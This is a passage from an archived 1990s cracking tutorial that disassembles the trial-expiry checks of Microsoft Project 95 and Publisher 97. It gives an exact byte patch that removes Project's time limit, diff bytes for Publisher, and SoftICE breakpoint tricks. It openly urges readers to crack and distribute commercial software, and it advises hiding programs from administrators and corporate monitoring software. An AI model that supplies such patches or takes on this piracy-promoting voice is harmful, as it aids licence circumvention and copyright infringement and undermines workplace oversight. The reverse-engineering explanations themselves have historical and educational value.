against an holy location IF the time has changed enough to
justify the snapping of other routines? Or is it this the part
of the code that encrypts the date in the holy location
itself?... We could follow this path, and "freeze" the holy
location, or explore who calls this code snippets... this would
bring us to the protection scheme as well of course... but this
kind of work -MADE NOW- would not be methodologically correct...
YOU SHOULD INDEED NEVER GO ASTRAY... KEEP YOUR CRACKING APPROACH
(as long as you do not get obvious signs that you found what you
were looking for), it's like landing a plane... keep the original
approach and DO NOT delve inside everything you happen to notice

http://www.instinct.org/fravia/howto42.htm (8 of 32) [2/7/2001 2:54:07 PM]


Howto42

that "might" be a treffer! Here we have something "biting" the


hook (our worm is GetLocalTime), but it's not yet time to pull
out our fishing line yet.. let's continue... We were
investigating all sections of our target's code which effectuate
at least a double call to GetLocalTime... let's continue! Let's
have a quick look to the other two "twin" occurrences of
GetLocalTime (167F and 223F) before delving inside any one of
them... maybe we will not need to delve at all. Remember, always
concentrate on ONE approach at a time: multa agendo nihil agens!

Here the second "twin calls" location area:


2) "Sector" 167F calls GetLocalTime, why?

:05167F6A E808CFEBFF call 05024E77 ;CALL GetLocalTime


:05167F6F 66817DF4C007 cmp [ebp-0C], 07C0 ;is 1984?
:05167F75 722F jb 05167FA6 ;go badflag
:05167F77 66817DF40108 cmp [ebp-0C], 0801 ;is 2049?
:05167F7D 7727 ja 05167FA6 ;go badflag
:05167F7F FF75F4 push [ebp-0C] ;save validyear
:05167F82 660FB645F7 movzx byte ptr ax, [ebp-09] ;pushday
:05167F87 660FB64DF6 movzx byte ptr cx, [ebp-0A] ;pushmonth
:05167F8C 50 push eax
:05167F8D 51 push ecx
:05167F8E E84EC10B00 call 052240E1 ;call here
:05167F93 663B45E4 cmp ax, [ebp-1C]
:05167F97 7D0D jge 05167FA6 ;go badflag
:05167F99 668B4DE4 mov cx, [ebp-1C]
:05167F9D 662BC8 sub cx, ax
:05167FA0 66894DF2 mov [ebp-0E], cx
:05167FA4 EB06 jmp 05167FAC ;do not badflag

* Referenced by a Jump at Addresses:05167E13(C), :05167ED7(C),


:05167F1B(C), :05167F64(C), :05167F75(C), :05167F7D(C),
:05167F97(C); lotta routines badflag
here... this is BADFLAG INTENSIVE
:05167FA6 66C745FE0100 mov [ebp-02], 0001 ;BAD FLAG !!!***
:no_bad_flag
:05167FAC FF75DC push [ebp-24]
:05167FAF FF151C5C3C05 Call dword ptr[053C5C1C];RegCloseKey
:05167FB5 EB25 jmp 05167FDC ;jump 2nd getlocaltime
:only_5167DE5_calls_this_second_GetLocalTime
:05167FB7 66C745EC0000 mov [ebp-14], 0000
:05167FBD 8D45F4 lea eax, [ebp-0C]
:05167FC0 50 push eax ;SECOND GetLocalTime
:05167FC1 E8B1CEEBFF call 05024E77 GetLocalTime ;call it
:05167FC6 66817DF4C007 cmp [ebp-0C], 07C0 ;between 1984...
:05167FCC 7208 jb 05167FD6 ;jump flag_unvalid_year
:05167FCE 66817DF40108 cmp [ebp-0C], 0801 ;...and 2049?
:05167FD4 7606 jbe 05167FDC ;jump_to_valid_year
:flag_unvalid_year
:05167FD6 66C745FE0100 mov [ebp-02], 0001 ;flag "unvalid_year"
:valid_year_almost_everybody_calls_here

http://www.instinct.org/fravia/howto42.htm (9 of 32) [2/7/2001 2:54:07 PM]


Howto42

:05167FDC 66837DFE00 cmp [ebp-02], 0000 ;valid_flag?


:05167FE1 755F jne 05168042 ;beggar off:unvalid something
:05167FE3 66837DF000 cmp [ebp-10], 0000 ;valid ebp-10?
:05167FE8 750E jne 05167FF8 ;jmp unvalid_e10
:05167FEA 66837DEC00 cmp [ebp-14], 0000 ;valid ebp-14?
:05167FEF 7451 je 05168042 ;beggar off,unvalid
:05167FF1 66837DF000 cmp [ebp-10], 0000 ;sure thatebp-10=0?
:05167FF6 7407 je 05167FFF ;continue ifso
:unvalid_e10
:05167FF8 66837DEC00 cmp [ebp-14], 0000 ;check if e14valid
:05167FFD 7543 jne 05168042 ;no? be damned!
:valid_e10_and_e14
:05167FFF 0FBF4DF2 movsx word ptr ecx, [ebp-0E] ;e10 and e14 true
:05168003 66833D58192C0501 cmp dword ptr [052C1958], 0001
:0516800B 1BC0 sbb eax, eax
:0516800D 83E05A and eax, 0000005A ;pretty obvious
:05168010 83C05A add eax, 0000005A ;isnt it?
:05168013 3BC1 cmp eax, ecx ;HERE********
:05168015 7C2B jl 05168042 ;beggar off
:05168017 66837DF21E cmp [ebp-0E], 001E ;0x1E = 30
:0516801C 7F4A jg 05168068 ;good guy jump
:0516801E 8D45F4 lea eax, [ebp-0C]

Well, that's was it actually... we notice two consecutive


locations with 5Ah (90 decimal) there... as if they had written
"OUR TIME LIMIT IS HERE, PLEASE REMOVE AND USE FOR EVER AND
EVER". Maybe Micro$oft wants exactly this... I mean, they give
away their (bugged) web browser for free just in order to
bankrupt Netscape, why shouldnt they as well give every software
away for free (bad protecting it on time limits and spreading
everything on all cd-rom covers of the planet) until they have
bankrupted every concurrent and do effectively held every user
on the planet "pillado por los huevos"?
Maybe in cracking this protection scheme I'm only helping
Gates... the more people use its programs the more they will
spread... the more he will dominate the market... yet I could not
care less about Micro$oft's own stupid plans... programming the
way they do, they will never be able to dominate a portion of
halfbacked potatoes in my humble opinion... therefore let's crack
this crap black and blue and let's hope Micro$oft loose a lot of
money thank us, yeah, that's life! Let's crack a lot of Micro$oft
software from now on! A white flower in our mouth, a computer not
far away, a cold determination in our fingers. Death to Gates!

*** Quick Crack for Micro$oft's Project 95, by +ORC, 04/1997***


search for the string
:05167FA6 66C745FE0100 mov [ebp-02], 0001 ;BAD FLAG****
and change it to:
:05167FA6 66C745FE0000 mov [ebp-02], 0000 ;always good
*** now find some stupid yuppies and give them this app ***

JUST A MOMENT (1)

http://www.instinct.org/fravia/howto42.htm (10 of 32) [2/7/2001 2:54:07 PM]


Howto42

Well, just a moment... go back to the code "snippets" above,


pupils... why did we not search for
:05168015 7C2B jl 05168042 ;beggar off
in order to noop everything say with an inc/dec:
:05168015 40 inc eax
:05168016 48 dec eax
Why?
Because it would NOT have worked... or, as a matter of fact, it
would have worked only in SOME cases... this is an example of a
"protectionists' bait", please examine the code.
You should -by now- know enough our art to be able to
understand by yourself why the crack at 5167FA6 works and the
crack at 5168015 (which is indeed part of the protection) will
not work... a hint for you: change months and YEARS of your os
as you experiment with this stuff. This answer is part of the
strainer of this lesson, therefore work on it and understand the
problem.
And what about the remaining last "double call" location at
"223"? Did I not say we should keep steady on our approach before
delving inside?
Yes and no: "quod satis est cui contingit, nihil amplius
optet" (Horatius, emailing his friends, as you can see you can
always find a proverb to demonstrate what you are saying, even
if you are contradicting yourself :=)
But as soon as you SEE the protection there is NO POINT
(unless you really have to, in order to understand some weird
scheme thoroughly) to continue... the plane is landed, relax,
drink something.
Anyway for such things there are no fixed rules... do
whatever you like and prefer, I personally think that the best
approach is a mixture of iron will and extreme flexibility.

JUST A MOMENT (2)


But wait, since they used the 5Ah byte... could not we have found
the protection just searching for 5Ah?
Yes, and indeed, we would have found the scheme around it
immediately... but that IS NOT the correct approach, since you
should NOT always presume that the protectionists behave REALLY
always that stupid (even if they almost always do :=)

JUST A MOMENT (3)


But wait, could we have not just winiced the working of the
program in order to backtrace as soon as the protection nag
screen snaps?
Yes, and it would have worked... but why ruin your eyes on
screen in a closed and may be dusty room, getting cramps in your
shoulders that not even a good massage will blow away, when you
can crack much more relaxed, sitting quiet in a shadowy garden,
looking lazily (it's April! A beautiful month! Go outside! What
the hell are you doing inside a room?) at a couple of sheets of
paper, feeling the wind among the leaves above you, while a cool
Martini-Wodka fizzles in your hands? If you want to use the

http://www.instinct.org/fravia/howto42.htm (11 of 32) [2/7/2001 2:54:07 PM]


Howto42

"live" winice approach go ahead... I'll even tell you right now
a couple of things that can be useful in order to crack some
(other) protections: for Cinderellas schemes bpx MessageBox or
bpx GetLocalTime or bpx GetFileTime and look WHO gets the "time"
data a little before the nagscreen snaps... I did not check but
I'm sure that if you do it here, you'll have quite a lot of calls
along the program, whereby the "initializing" calls from our
"sector 24F" will snap at the beginning (and at the end) of the
target life and our protection call (the one we cracked the bad
flag of) i.e.:

:05167F6A E808CFEBFF call 05024E77 ;CALL GetLocalTime in KERNEL

will happen JUST BEFORE the snap... so you can crack thatta way
too... these patterns are always the same.

**************** A little icy digression *****************


This is -after all- a tutorial, therefore for those of you that
do not know anything, here are some useful (and well known) older
winice little tricks and memory addresses discussions. Even if
I do prefer to use as much as possible my "dead listing" methods,
I realise that at times the help of winice is indispensable...
the little tricks below refer to Winice for windows 95 older copy
(before Godot, i.e. 3.0) and you may skip this section if you are
using winice 3.0. which has the IF feature for conditional
breakpoints, the WHAT command and much more. I strongly
reccommand using Winice 3.0. In order to learn how to use it
correctly your best approach is to find on the web the GOOD
documentation of Numega (it's in adobe acrobat's PDFformat) here
you have the names you'll need to find it (and NAMES are the MOST
important thing on the web):
Si30cr.pdf 3.205.000 bytes COMMAND REFERENCE
Si30ug.pdf 1.038.000 bytes USING SOFTICE
Last time I fetched them they were inside the zipped file
Sice3doc.zip, 3.358.000 bytes
read these documents thoroughly. Once you read them you (almost)
will not need my lessons any more.
But some of the simple tricks below can be useful even with
Winice 3.0., and anyway I want ALL of the readers of this
tutorial to know their tools and to use them in the best way,
even those too lazy or too stupid to fetch the above mentioned
files... therefore, here you are... some (older) winice's MUST
know:

BPM DS:xxxxxxxx W GT 1E
Breakpoint first time that the byte at location DS:xxxxxxxx has
a value written to it that's greater than 1Eh (30)
Useful qualifiers are EQ (equal) NE (not equal) GT (greater than)
LT (less than) and M (mask) this last one is pretty complicated
but allows powerful breakpointing for dongles cracking: after
having given your routine command "tss", begin your dongle
breakpointing using, for instance:

http://www.instinct.org/fravia/howto42.htm (12 of 32) [2/7/2001 2:54:07 PM]


Howto42

BPIO 3F6 R EQ M 11XX xx00


This defines a byte break point on I/O port read, the first time
that I/O port 3F6 is read with ANY value that has the two high
order bits set to 1 and the two lower ones to zero, the other
bits can be any value. The same is valid for BPM (breakpoint on
memory write):
BPM CS:802A2D22 W EQ M 0xxx xxxx xxxx xxxx xx11
you dig it? The mask method is even better than the qualifier one
if you are NOT sure about which value the protection will load :=)

CSIP NOT &F000:0 &FFFF:0


Breakpoint only outside BIOS useful to limit breakpoint snapping
Remember that CSIP and BPM (READ/WRITE) can be very USEFUL to
slow down the execution of a windows program... if you use "heavy
breakpointing" in this way, setting a number of "useless" but
heavy breakpoints that winice will monitor, windows will crawl
(even on a Pentium 200) and you'll be able to breakpoint MANUALLY
exactly at the point where a protection snaps... I still prefer
the "dead listing" method of cracking personally, though.

BPINT 21 AH=0F
Breakpoint on openfile (funny how many INT 21 are execited under
windoze)
(old style, with Winice 3 it's BPINT 21 IF EAX=0F)
BPINT 21 AH=2A
Breakpoint on GetDate
(old style, with Winice 3 it's BPINT 21 IF EAX==2A)

When we are still at it, remember that in 32bit mode there are
only TWO selectors (when you search the whole memory for
instance):
28:0 and 4 virtual gigabytes of CODE
30:0 and 4 virtual gigabytes of DATA and STACK

We saw (cracking DOS) how to get from virtual address to physical


address in 8086 style segment:offset code: multiply the segment
by 16 and then add the offset. In a "protected mode" selector
it's different: linear address is calculated by adding the offset
TO THE BASE ADDRESS FOUND IN THE GDT (or LDT, local descriptor
table is used if bit TWO of the selector is a 1, global DT is
used otherwise... GDT and LDT are "lookup" tables used to
calculate addresses).
At times you must understand a little the physical addresses
structure in order to crack effectively:
00000000 - 000FFFFF Current Virtual Machine (Windows and Windows
Programs)
00400000 - 7FFFFFFF Physical memory (contiguous)
80000000 - 803FFFFF Windows' VxDs
80500000 - 80FFFFFF Windows programs
81000000 - FFFFFFFF DOS VMs
...use the commands "page" and "addr" and have a look around. The
command addr is also very useful to understand in which context

http://www.instinct.org/fravia/howto42.htm (13 of 32) [2/7/2001 2:54:07 PM]


Howto42

you are when winice pops up.


Remember that each 32 bit task is given the address space from
400000 to 7FFFFFFF, which is called an "address context". This
virtual address space is reserved for 32 bits applications and
private DLLs

And now two MUST KNOW winice commands that will spare you a lot
of wasted time when you delve inside the huge windows codebulks
we have to peruse:

P RET (that's F12 most of the time)


steps out of the current procedure, may take ages if it's very
large
that's step until return

G @SS:ESP (that's F11 most of the time)


throws you at the caller of the procedure you bpxed on
(bpx GetLocalTime and execute F11 (or write G @SS:ESP) as soon
as winice pops up and you'll see what I mean)

A couple of watches like *ds:esi (and ds:esi) and a dex 1 ss:esp


in your ini setting of winice would be a good idea too IMO.

This said, Winice 3.0 allows POWERFUL breakpointin, like for instance:
bpx ntoskrnl!ExAllocatePoolWithTag IF (esp->c == 1) DO "data1;dd eax"
(I will explain all this more thoroughly in the lessons about Windows NT)
**********************************************
Back to our time protections cracking (and Micro$oft bashing :=).

Once more... there are THOUSAND different ways to crack


these applications, and this GetLocalTime "fishing" is only ONE
of them... I will teach you -of course- ALL the methods I believe
are MOST effective... you must be enough crack-able by now to
know when, applying these techniques to OTHER programs (hopefully
Micro$oft ones) you'll have to use slightly or substantially
different approaches... non semper Saturnalia erunt, as you'll
see.

Are these protections always so easy to defeat?


No and yes, may be no... yet there are far more complex schemes.
But time checking from a CD-ROM code is the ultimate doom of the
protectionists... you see: the problem for them is the following:
They are protecting using a "write only once" media (a CD-ROM)...
therefore every time you put the cd-rom in your driver you are
re-installing a perfect "virgin" copy of the protected program...
there is no way a recursive message can be placed INSIDE the
code, telling it to never execute again... I remeber older nasty
"quiver" protections in dos... after the 20ntieth installation
the program formatted as bad a sound sector of the diskette...
that was clever! But that's impossible on a read only media,
therefore let's see... where can they keep track of the
eventuality that you used it before?

http://www.instinct.org/fravia/howto42.htm (14 of 32) [2/7/2001 2:54:07 PM]


Howto42

1) Inside the intricacies of Windows register, this most


obscure fat abomination (should I write a scary computer fiction
film, I would imagine a windows register growing fatter and
fatter, week after week, and then suddenly grabbing the user
through the a:\ drive in order to eat him :=)
2) Inside an apparently unrelated file or *.dll that gets
"lost" inside the garbage subdirectories c:\windows or
c:\windows\system (by the way, that's exactly the same technique
you should use in order to protect your files at work from
administrator's prying eyes... throw every application inside
windows subdirs and give them funny names, like a6JJJK.EXE... no
administrator on this earth (and no censorship corporate
patrolling software) will come to the idea that that is your
beloved chess program :=).
3) Inside small parts of the BOOT sector of your harddisk that
can safely be used for this kind of tricks without altering the
booting (this is a trick the protectionists have learnt from our
fellows viri-writers... see how even the bad ones have a teaching
function in this funny virtual world. Once more virus code
studying is VERY important in order to crack well.
Alas for the protectionists! All these tricks are pretty easy to
defeat too, and I will show you HOW to do it :=)

For a start here is HOW easily you would have checked your boot
sector with an old DOS system...
1) Run debug (or, better, symdeb)
2) -L 100 2 0 1
(that's Load into memory address Ox100 from drive C (that's
number 2... 0 is A, 1 is B and 2 is C, duh, starting from sector
0 for 1 sector whatever you find there. Here you have the boot
sector of the PC I'm writing on:
-L 100 2 0 1
-d 100 L 200
17D3:0100 EB 3C 90 4D 53 57 49 4E-34 2E 31 00 02 40 01 00 k [.MSWIN4.1..@..
17D3:0110 02 00 02 00 00 F8 9A 00-3F 00 40 00 3F 00 00 00 .....x..?.@.?...
17D3:0120 41 44 26 00 80 00 29 FC-0F 5F 3C 20 20 20 20 20 AD&...)|._[
17D3:0130 20 20 20 20 20 20 46 41-54 31 36 20 20 20 FA 33 FAT16 z3
17D3:0140 C9 8E D1 BC FC 7B 16 07-BD 78 00 C5 76 00 1E 56 I.Q[|{..=x.Ev..V
17D3:0150 16 55 BF 22 05 89 7E 00-89 4E 02 B1 0B FC F3 A4 .U?"..~..N.1.|s$
17D3:0160 06 1F BD 00 7C C6 45 FE-0F 8B 46 18 88 45 F9 38 ..=.|FE~..F..Ey8
17D3:0170 4E 24 7D 22 8B C1 99 E8-77 01 72 1A 83 EB 3A 66 N$}".A.hw.r..k:f
17D3:0180 A1 1C 7C 66 3B 07 8A 57-FC 75 06 80 CA 02 88 56 !.|f;..W|u..J..V
17D3:0190 02 80 C3 10 73 ED 33 C9-8A 46 10 98 F7 66 16 03 ..C.sm3I.F..wf..
17D3:01A0 46 1C 13 56 1E 03 46 0E-13 D1 8B 76 11 60 89 46 F..V..F..Q.v.`.F
17D3:01B0 FC 89 56 FE B8 20 00 F7-E6 8B 5E 0B 03 C3 48 F7 |.V~8.wf.^..CHw
17D3:01C0 F3 01 46 FC 11 4E FE 61-BF 00 07 E8 23 01 72 39 s.F|.N~a?..h#.r9
17D3:01D0 38 2D 74 17 60 B1 0B BE-D8 7D F3 A6 61 74 39 4E 8-t.`1.>X}s&at9N
17D3:01E0 74 09 83 C7 20 3B FB 72-E7 EB DD BE 7F 7D AC 98 t..G;{rgk]>.},.
17D3:01F0 03 F0 AC 84 C0 74 17 3C-FF 74 09 B4 0E BB 07 00 .p,.@t.[.t.4.;..
17D3:0200 CD 10 EB EE BE 82 7D EB-E5 BE 80 7D EB E0 98 CD M.kn>.}ke>.}k`.M
17D3:0210 16 5E 1F 66 8F 04 CD 19-BE 81 7D 8B 7D 1A 8D 45 .^.f..M.>.}.}..E
17D3:0220 FE 8A 4E 0D F7 E1 03 46-FC 13 56 FE B1 04 E8 C1 ~.N.wa.F|.V~1.hA

http://www.instinct.org/fravia/howto42.htm (15 of 32) [2/7/2001 2:54:07 PM]


Howto42

17D3:0230 00 72 D6 EA 00 02 70 00-B4 42 EB 2D 60 66 6A 00 .rVj..p.4Bk-`fj.


17D3:0240 52 50 06 53 6A 01 6A 10-8B F4 74 EC 91 92 33 D2 RP.Sj.j..ttl..3R
17D3:0250 F7 76 18 91 F7 76 18 42-87 CA F7 76 1A 8A F2 8A wv..wv.B.Jwv..r.
17D3:0260 E8 C0 CC 02 0A CC B8 01-02 8A 56 24 CD 13 8D 64 h@L..L8...V$M..d
17D3:0270 10 61 72 0A 40 75 01 42-03 5E 0B 49 75 77 C3 03 .ar.@u.B.^.IuwC.

[MICROSOFT PUBLISHER 1997]


Time to bash Microsoft once more... how nice! Let's have a
(quick) look at Microsoft Publisher 1997, another "60 days" trial
version protection from Microsoft (60 days, because the DTP
market moves so quickly that they cannot allow to let it loose
for three months)... I'll show you where the protection is, how
it snaps and how to crack it... I got my copy from one of the
MANY magazines that published the 60 days demo version in April
1997... you should be able to find this one everywhere... here
are the relevant data:

MSPUB.EXE 2.476.304 19/04/97 19:19 <--- da target


MSPUB.ALF 34.054.330 17/04/97 20:18 <--- da dead listing
MSPUB.DED 2.476.304 19/04/97 19:19 <--- da copy you need

You should always do a copy of the original target BEFORE


beginning your work on it, you'l need it a lot when you time
deprotect.

To crack this target we'll use a slightly different approach...


let's call this technique "hit and see"... it's one of the most
obvious approaches, and I surely have not invented it...
everybody knows it: you run the program, you let the time
protection snap, you look at the "hardwired" hex differences
inside the body of the target (the "non functioning" copy will
slightly differ from the "functioning" one) and you "reverse
engineer" your dead listing back to the protection scheme that
snapped the differences... pretty easy, isnt'it?

-------- digression: words inside targets ---------------------


If you are interested in another, COMPLETELY DIFFERENT cracking
door, here are the relevant messages [expir] inside our target...
I used SR32exe to fetch them (a very nice fetcher, thanks
fravia! :=), which is much better than my own old C scripts :=(
As a small "extra" for this lesson, crack the protection out of
this fetcher, a program that I'm sure you'll find VERY useful (I
did):
-------------------------------------
Funduc Software search application:
http://home.sprynet.com:80/sprynet.funduc
102372.2530@compuserve.com
SR32 EXE 286.720 13/05/96 0:14 SR32.exe
SR HLP 36.830 12/05/96 3:28 SR.HLP
SR EXE 170.624 12/05/96 23:58 Sr.exe
------------------------------------
Here the results of this program running on "expir"...

http://www.instinct.org/fravia/howto42.htm (16 of 32) [2/7/2001 2:54:07 PM]


Howto42

------------------------------------
Processing file : C:\PROGRAM FILES\MICROSOFT PUBLISHER 97\Mspub.exe
Offset 0x1ac5e9
- This trial version of Publisher has [expir]ed. To order a permanent
copy, call 1-800-426-9400 or visit the Publisher site on the World
Wide Web at http://www.microsoft.com/publisher/. To uninstall this
version choose Add/Remove Programs i
Offset 0x1ac6f4
- This trial version of Publisher will [expir]e in %d days. For more
information about Publisher 97, call 1-800-426-9400 or visit the
Publisher site on the World Wide Web at http://www.microsoft.com/publisher/.
----------------- digression end --------------

As I said... there are MANY doors you may trespass to crack this
target... let's continue with the simplest one in my opinion:

1) Let's run it... it runs, how nice!


2) Let's move the OS date... say four months ahead.
It does not run anymore, this is sad!
3) WHAT HAS CHANGED IN THE FILE? That's the point my reader...
Let's compare the two files... the original and the copy after
the fatidic message "trial time is out, won't work any more", bye
sucker:*

FC /b mspub.ded mspub.exe

(that's the DOS command FileCompare that you are giving, duh)

And this is the result you'll get:


"Comparing files mspub.ded and mspub.exe"
"000F3703: 75 EB"
"000F370C: 75 EB"

MMMM! That's interesting! And what do we have there? Let's have


a look at our (huge) dead listing (do not forget: 2560 (256*10)
bytes difference between REAL AND Wdasm addressing... you just
add A00h to the DOS addresses to get your bearings inside the
dead listing files... F3703+A00= F4103... F370C+A00=F410C):

* Referenced by lotta CALLs at Addresses:


|:004014F1, :0040199A, :00401AC6, :00401C37, :00401F6C, ;first calls
... HUNDERT CALLS AND HUNDERT MORE... many many calls I have not reprinted
|:0058B1C4, :0058B279, :0058B443, :0058BA9F ;last calls
|
:004F40FC 8B4C2404 mov ecx, [esp + 04]
:004F4100 83F901 cmp ecx, 1
:004F4103 EB09 **** jmp 004F410E ;..... Should be 75, i.e. Jne
:004F4105 833DD0225C0000 cmp dword ptr [005C22D0], 0
:004F410C EB06 **** jmp 004F4114 ;..... Should be 75, I.e. Jne

:004F410E 890DD0225C00 mov [005C22D0], ecx ;ecx NOT 1 flag 22D0 FALSE

http://www.instinct.org/fravia/howto42.htm (17 of 32) [2/7/2001 2:54:07 PM]


Howto42

:004F4114 A1D4225C00 mov eax, [005C22D4]


:004F4119 51 push ecx
:004F411A 83E840 sub eax, 00000040
:004F411D 890DC4935C00 mov [005C93C4], ecx
:004F4123 A3D4225C00 mov [005C22D4], eax
:004F4128 83C040 add eax, 00000040
:004F412B 50 push eax
:004F412C FF158C085D00 Call dword ptr [005D088C] ;call MSVCRT40.longjmp
:004F4132 83C408 add esp, 00000008
:004F4135 C20400 ret 0004

All this means for us only one thing... location [005C22D0]


decides a lot. But wait, let's see... What did these assholes
do? They "patched" their own program in order to protect it...
how funny... time is out, so jmp anyway (instead of jump on not
equal) to the evil routines... they know that now we would like
to know WHO calls here... and there are (therefore, as
dissuasion) hundert of procedures calling this cram... no point
in checking all of them... you would sink in a sea of calls...
what will we do? Where is the real and only one PROTECTION call
to 4F40FC among this bunch of useless calls? We have only ONE way
to find it out without losing time... Let's zen a little... you
have read this lesson from the beginning... now STOP and think...
i.e. use your brain (supposed you have one): do not read any more
what follow: STOP NOW and answer this question BEFORE
proceeding... really... you are here to learn, NOT TO COPY
METHODS THAT OTHERS HAVE FOUND... once more... We know that
somebody modified this cram... but HOW DO WE GET BACK (how do we
reverse the flow) TO THE CORRECT CALLING ROUTINE AMONG HUNDERT
OF THEM calling here?
Ok, you did stop and think... you may go on reading (if you did
not... be ashamed... cracking is like watching a beautyful
picture... you must think a lot, else your watching is useless).
OK: We used the GetLocalTime routine as a bait inside my first
example... can we apply it here? Let's search for it... HEY! They
do not use it at all, there is NO GetLocalTime in this
application... how the hel do they know which time is it?
Let's search for "time", my friends... here the locations:

Processing file : C:\PROGRAM FILES\MICROSOFT PUBLISHER 97\Mspub.alf


Line 1340 - Addr:BFF77105 hint(00DB) Name: GetFile[Time]
Line 1342 - Addr:BFF77144 hint(01F9) Name: SetFile[Time]
Line 1457 - Addr:BFF62E82 hint(01FE) Name: Set[Time]r
Line 1494 - Addr:BFF61AC2 hint(0162) Name: Kill[Time]r
Line 1547 - Addr:BFF643F9 hint(00EF) Name: GetDoubleClick[Time]
Line 1555 - Addr:BFF63E4D hint(01C9) Name: SendMessage[Time]outA
Line 1572 - Addr:BFF64406 hint(00D1) Name: GetCaretBlink(Time]
Line 1591 - Addr:BFF647E6 hint(0110) Name: GetMessage[Time]
Line 1865 - Addr:10238C10 hint(0466) Name: [time]
Line 1871 - Addr:102387D0 hint(0423) Name: local[time]

http://www.instinct.org/fravia/howto42.htm (18 of 32) [2/7/2001 2:54:07 PM]


Howto42

Ok, that's more than enough, thankyou... let's begin from


the beginning... what about a little GetFileTime pinpointing to
start with? Where are the GetFileTime routines inside our target?

:004CBC11 FF1594005D00 Call dword ptr [005D0094]


;KERNEL32.GetFileTime
:004CBD3A FF1594005D00 Call dword ptr [005D0094]
;KERNEL32.GetFileTime

Only TWO? Most rewarding... and where is the triggering call to


the first one (probably to both of them)?
Have a look at the dead listing of our target... these cracks are
so simple that I wonder at times why the hell they insist...
either they shoudl learn HOW TO PROTECT PROPERLY the shit they
program, or they should give it for free to everybody (like I'm
doing now... hope that EVERY student and every poor chap in
Africa and Asia will use Micro$oft publisher for free without
ever giving them a cent... this is european cracking at his best!
And besides, that's the minimum we owe the poor slaves that do
sweat and work hard in order to pay for our barbecues :=)...
this is the synthesis of the dead listing:

* Referenced by a CALL at Address:004C8843 ;This is the call


that triggers everything... DO NOT FORGET IT
:004CBA50 55 push ebp
:004CBA51 A1D4225C00 mov eax, [005C22D4]
:004CBA56 8BEC mov ebp, esp
:004CBA58 83C040 add eax, 00000040
:004CBA5B 81EC5C010000 sub esp, 0000015C
:004CBA61 A3D4225C00 mov [005C22D4], eax
:004CBA66 C745E414165C00 mov [ebp-1C], 005C1614;->"MSPUBW40.DLL"
:004CBA6D C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:004CBA74 56 push esi
:004CBA75 57 push edi
:004CBA76 6A00 push 00000000
:004CBA78 50 push eax
:004CBA79 E889020C00 Call 0058BD07;MSVCRT40._setjmp3,
:004CBA7E 83C408 add esp, 00000008
:004CBA81 85C0 test eax, eax
:004CBA83 B801000000 mov eax, 00000001
:004CBA88 7502 jne 004CBA8C
:004CBA8A 33C0 xor eax, eax
:004CBA8C 85C0 test eax, eax
:004CBA8E 0F8527030000 jne 004CBDBB
:004CBA94 6A00 push 00000000
:004CBA96 FF1590085D00 **** Call dword ptr [005D0890];MSVCRT40.time **
:004CBA9C 83C404 add esp, 00000004
:004CBA9F B980510100 mov ecx, 00015180
:004CBAA4 2BD2 sub edx, edx
:004CBAA6 8945F4 mov [ebp-0C], eax
:004CBAA9 6804010000 push 00000104
:004CBAAE 8DBDA4FEFFFF lea edi, [ebp+FFFFFEA4]

http://www.instinct.org/fravia/howto42.htm (19 of 32) [2/7/2001 2:54:07 PM]


Howto42

:004CBAB4 F7F1 div ecx


:004CBAB6 8D85A4FEFFFF lea eax, [ebp+FFFFFEA4]
:004CBABC 2955F4 sub [ebp-0C], edx
:004CBABF 50 push eax
:004CBAC0 FF158C005D00 Call dword ptr[005D008C];GetSystemDirectoryA
:004CBAC6 B9FFFFFFFF mov ecx, FFFFFFFF
:004CBACB 2BC0 sub eax, eax
:004CBACD F2 repnz
:004CBACE AE scasb
:004CBACF F7D1 not ecx
:004CBAD1 80BC29A2FEFFFF5C cmp byte ptr [ecx + ebp - 0000015E], 5C
:004CBAD9 7434 je 004CBB0F
:004CBADB BF10165C00 mov edi, 005C1610
:004CBAE0 B9FFFFFFFF mov ecx, FFFFFFFF
:004CBAE5 2BC0 sub eax, ea
:004CBAE7 F2 repn
:004CBAE8 AE scasb
:004CBAE9 F7D1 not ecx
:004CBAEB 2BF9 sub edi, ecx
:004CBAED 8BD1 mov edx, ecx
:004CBAEF 8BF7 mov esi, edi
:004CBAF1 B9FFFFFFFF mov ecx, FFFFFFFF
:004CBAF6 8DBDA4FEFFFF lea edi, [ebp+FFFFFEA4]
:004CBAFC 2BC0 sub eax, eax
:004CBAFE F2 repnz
:004CBAFF AE scasb
:004CBB00 4F dec edi
:004CBB01 8BCA mov ecx, edx
:004CBB03 C1E902 shr ecx, 02
:004CBB06 F3 repz
:004CBB07 A5 movsd
:004CBB08 8BCA mov ecx, edx
:004CBB0A 83E103 and ecx, 00000003
:004CBB0D F3 repz
:004CBB0E A4 movsb
:004CBB0F 8B7DE4 mov edi, [ebp-1C]
:004CBB12 B9FFFFFFFF mov ecx, FFFFFFFF
:004CBB17 2BC0 sub eax, eax
:004CBB19 F2 repnz
:004CBB1A AE scasb
:004CBB1B F7D1 not ecx
:004CBB1D 2BF9 sub edi, ecx
:004CBB1F 8BD1 mov edx, ecx
:004CBB21 8BF7 mov esi, edi
:004CBB23 B9FFFFFFFF mov ecx, FFFFFFFF
:004CBB28 8DBDA4FEFFFF lea edi, [ebp+FFFFFEA4]
:004CBB2E 2BC0 sub eax, eax
:004CBB30 F2 repnz
:004CBB31 AE scasb
:004CBB32 4F dec edi
:004CBB33 8BCA mov ecx, edx
:004CBB35 C1E902 shr ecx, 02

http://www.instinct.org/fravia/howto42.htm (20 of 32) [2/7/2001 2:54:07 PM]


Howto42

:004CBB38 F3 repz
:004CBB39 A5 movsd
:004CBB3A 8BCA mov ecx, edx
:004CBB3C 6A00 push 00000000
:004CBB3E 83E103 and ecx, 00000003
:004CBB41 6880000000 push 00000080
:004CBB46 F3 repz
:004CBB47 A4 movsb
:004CBB48 6A03 push 00000003
:004CBB4A 8D85A4FEFFFF lea eax, [ebp+FFFFFEA4]
:004CBB50 6A00 push 00000000
:004CBB52 6A01 push 00000001
:004CBB54 6800000080 push 80000000
:004CBB59 50 push eax
:004CBB5A FF15C8005D00 Call dword ptr [005D00C8];CreateFileA
:004CBB60 8945FC mov [ebp-04], eax
:004CBB63 83F8FF cmp eax, FFFFFFFF
:004CBB66 7507 jne 004CBB6F
:004CBB68 6AFE push FFFFFFFE
:004CBB6A E88D850200 call 004F40FC
:004CBB6F 6A00 push 00000000
:004CBB71 8B45FC mov eax, [ebp-04]
:004CBB74 6A00 push 00000000
:004CBB76 6850D90100 push 0001D950
:004CBB7B 50 push eax
:004CBB7C FF1598005D00 Call dword ptr [005D0098];SetFilePointer
